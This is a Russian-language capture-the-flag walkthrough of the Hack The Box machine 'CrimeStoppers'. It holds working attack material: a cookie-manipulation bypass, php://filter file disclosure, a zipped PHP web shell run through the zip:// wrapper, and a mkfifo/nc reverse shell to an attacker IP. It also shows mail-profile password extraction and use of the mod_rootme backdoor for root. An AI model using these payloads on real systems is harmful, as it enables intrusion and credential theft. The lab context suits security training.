Для начала добавим ip-адрес в файлик hosts.
sudo nano /etc/hosts

Проведем начальное сканирование masscan-ом, будем сканировать все TCP и UDP порты со скоростью 500 пакетов в секунду, через интерфейс tun0 и посмотрим результат.
sudo masscan -p1-65535,U:1-65535 10.129.206.41 --rate=500 -e tun0 > crimestoppers

cat crimestoppers

Теперь просканируем единственный открытый порт nmap-ом. Будем использовать опции sC для скриптов по умолчанию, sV для определения версий служб и oA для вывода результата в файл.
nmap -p80 -sC -sV -oA nmap/crimestoppers crimestoppers.htb

Nmap отвечает нам, что на порту 80 находится веб-сервер Apache httpd версии 2.4.25. Видно также заголовок — FBIs Most Wanted: FSociety. Давайте отроем страницу через браузер.

На сайте видим главных подозреваемых, описание группы и связанные взломы. Если посмотрим исходный код главной страницы, то не найдем ничего интересного. Перейдем в раздел Upload и попробуем отправить Tip(совет). На выходе получим какое-то секретное имя и сам совет.


Откроем burp suite и посмотрим запрос в этой программе, сразу перекинув его в повторитель.

В запросе видно, что есть cookie admin равное 0. Давайте изменим это значение на 1 через плагин cookie-editor и обновим страницу.

У нас появится дополнительный пункт List. Перейдя в него, мы видим записку Whiterose.txt и хеш, который равен нашему секретному и��ени полученному ранее. Прочитаем записку Whiterose.txt
Здравствуйте, <br /> Вам действительно стоит научиться программировать, один из GET-параметров по-прежнему уязвим. Большинство подумает, что это просто приведет к раскрытию исходного кода, но существует цепочка, которая обеспечивает удаленное выполнение кода. <br /> Для получения дополнительной информации свяжитесь с WhiteRose@DarkArmy.htb.
Т.е. уязвим какой-то параметр GET, который ведет к RCE. Попробуем прочитать файл /etc/passwd.

Нам вернется ошибка. Но если мы добавим %00 к запросу, нам покажут текст.

Вы действительно пытаетесь получить /etc/passwd/!? Мы что, путешествовали во времени? Это же не 90-е!

Попробуем другую нагрузку. Из статьи http://web.archive.org/web/20240314034350/ironhackers.es/en/herramientas/lfi-cheat-sheet/ можем узнать, что есть ещё wrapper-ы. Нас будет интересовать wrapper base64-encode. Попробуем с помощью него прочитать исходный код страницы.
http://crimestoppers.htb/?op=php://filter/convert.base64-encode/resource=home
Ответ будет в base64. Поэтому сохраним текст в файл и декодируем его в командной строке.

cat home.php | base64 -d > home.php.decode
Открываем файл в firefox-е.

Видно, только html код и что есть ещё файл common.php. Пока посмотри другие файлы.
ttp://crimestoppers.htb/?op=php://filter/convert.base64-encode/resource=index
cat index.php | base64 -d > index.php.decode

Здесь идет проверка на присутствие куки admin равное 1.

И проверка на %00 и ../../../.
http://crimestoppers.htb/?op=php://filter/convert.base64-encode/resource=list
cat list.php | base64 -d > list.php.decode

В этом файле видим, что есть папочка uploads, и что она объединяется с ip адресом клиента. Давайте посмотрим эту папку uploads.

Нам показывается такая картинка с просьбой прочитать исходный код файла, значит мы на верном пути.
http://crimestoppers.htb/?op=php://filter/convert.base64-encode/resource=upload
cat upload.php | base64 -d > upload.php.decode

Из кода видно, что подсказки кладутся в папку uploads/ip-адрес клиента. Давайте перейдем по этому пути и посмотрим, что там находится.

Если нажмем на хеш-файл, то это приведёт нас к нашей текстовой подсказке.
Теперь зная полный путь куда и используя уже другой wrapper, мы можем попытаться выполнить php код, как нам писали в письме.
Для начала создадим простую нагрузку.
nano shell.php
<?php echo system($_REQUEST['cmd']); ?>

Запакуем нашу нагрузку.
zip shell.zip shell.php

Кодируем в base64 формат.
base64 -w 0 shell.zip

И отправляем запрос через burp-suite, предварительно вернув исходную строку из base64 формата с помощью встроенных инструментов. (Выделить текст и нажать C+S+B)


В ответе получим секретное имя.

Для проверки целостности загрузим этот файл.
curl http://crimestoppers.htb/uploads/10.10.16.10/160a9dfe1f77014722da5bbf901379497949a792 > test.zip

И сравнив их между собой. Но нас ждет неудача, файлы будут разные.
Преобразуем файлы в hex-представление.

И сравним между собой с использованием diff-a.
diff *.hex

Сначала файл одинаковый, но дальше идут различая. Тоже самое будет если мы закачаем файл через веб-форму, вставив в ней файл просмотренный через утилиту cat.
Чтобы правильно закачать файл нужно использовать утилиту curl. Сначала получим токен и id php сессии.
curl -sD - http://10.10.10.80/?op=upload | grep -e PHPSESSID -e 'name="token"'

Используем полученные данные в следующей команде.

curl -X POST -sD - -F "tip=<shell.zip" -F "name=a" -F "token=a912f0a336b7810e5b8b164d5b8e7c05af6c1018e8117f90e41d47be4cdc338d" -F "submit=Send Tip -x 127.0.0.1:8080 http://crimestoppers.htb/?op=upload -H "Referer: http://crimestoppers.htb/?op=upload" -H "Cookie: admin=1; PHPSESSID=l5u9pil9qq0012u0puk5aiahr7"

Как видно, закодированный текст такой-же, как и когда мы вставляли и преобразовывали его вручную.

Забираем секретное имя, скачиваем файл и снова сравниваем между собой.

m5sum говорит, что файлы одинаковые.

Теперь попытаемся выполнить наш код на сервере. Для этого используем wrapper вида
zip://uploads/10.10.16.10/57437f0d74fff2ae4529944e147e4c126ceeb9b1#shell&cmd=id

Система вернет 200 OK, но идентификатора системы мы не увидим. Сейчас нам нужно закодировать правильно символ # в запросе. Для этого выделим его и нажмем C+U.

Теперь нам вернется наш идентификатор в системе. Пришло время запустить реверс-шелл. Сначала запустим слушатель.
nc -lnvp 1234

Будем использовать следующий реверс шелл, предварительно закодировав его в burp-suite.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.10 1234 >/tmp/f

И получаем реверс шелл.

И забираем флаг в домашней директории пользователя.
cat /home/dom/user.txt | wc

В домашней директории есть папка .thunderbird, заходим в неё, сжимаем профайл и забираем его через браузер.
tar -cjvf /var/www/html/uploads/10.10.16.10/36jinndk.default.tar.bz2 36jinndk.default


Теперь давайте распакуем скачанный файл.

Установим в систему Kali thunderbird.
sudo apt install thunderbird

Переместим профиль в домашнюю директорию.
mv 36jinndk.default/ ~/.thunderbird/36jinndk.default/

Отредактируем профиль.
nano profiles.ini

После редактирования профиля вызываем менеджер профилей командой thunderbird -ProfileManager, выбираем нужный профиль и загружаем thunderbird с письмами.
Во входящих видим такой текст:
Здравствуйте,
Я оставил сообщение на странице «Оставить совет», но ответа не получил. На вашем сайте обнаружена серьёзная уязвимость! Она приводит к выполнению кода. Продолжая расследование, мы продадим эксплойт! Возможно, покупатель не будет так любезен.
Для получения более подробной информации внесите 1 миллион экоинов на свой кошелёк. Инструкции по оплате будут высланы после того, как мы увидим, что вы перевели деньги.
А в отправленных следующую переписку:
Если мы создадим страницу для вознаграждения за обнаружение ошибок, вы бы согласились использовать её? Отправьте сообщение об ошибке, они проверят её наличие и произведут оплату.
Я не понимаю, как работают эти электронные монеты.
---
Вы что-нибудь об этом знаете? В любом случае, я пытаюсь убедить их согласиться на альтернативный способ оплаты, который позволит нам лучше отслеживать получателя.
Надеюсь, DarkArmy подумает, что мы кучка болванов, ничего не знающих об eCoin.
---
Эллиот.
Мы получили подозрительное письмо от DarkArmy, в котором утверждалось, что на нашем веб-сервере обнаружена уязвимость удаленного выполнения кода. Я им не доверяю и запустил rkhunter, который сообщил об установленном рутките под названием apache_modrootme backdoor.
Согласно моим исследованиям, если бы этот руткит был на сервере, я должен был бы иметь возможность запустить команду "nc localhost 80", а затем ввести "get root", чтобы получить root-оболочку. Однако сервер просто выдает ошибку, не предоставляя никакой оболочки. Не могли бы вы проверить, не является ли это ложным срабатыванием?
Т.е. на сайте установлен apache_modrootme backdoor, давайте попробуем его найти.
Напомню, что мы сейчас находимся в системе с правами www-data, а домашняя директория называется dom.

Попробуем узнать пароль для пользователя dom, для этого качаем декриптор.
git clone https://github.com/unode/firefox_decrypt.git

И восстанавливаем пароль.

Попробуем подключиться по ssh с этим паролем.

Но система отбивает подключение. Посмотрим правила файрвола.
iptables -L

Нам не хватает прав. Но если выполним команду netstat увидим, что ssh ещё доступен через ipv6.

Через ifconfig получаем ipv6 адрес.

И подключаемся через ssh.

По этой ссылке мы найдем имя руткита.
https://github.com/sajith/mod-rootme
Теперь давайте поищем файл через поиск.

И забираем файл себе в систему.
scp -6 dom@[dead:beef::250:56ff:fe95:8a36]:/usr/lib/apache2/modules/mod_rootme.so .

Перетянем файл себе на windows машину и откроем в IDA PRO.
Нас будет интересовать функция darkarmy, потому что она вложена в функцию rootme_post_read_request.


Секретная фраза формируется из слова HackTheBox, байтов E140D383B0B0C271B01 и инструкции XOR. Давайте воспользуемся веб утилитами для декодирования секретной фразы.

Заполучив секретную фразу теперь можем обратиться с ней к веб-серверу.

Флаг успешно получен.
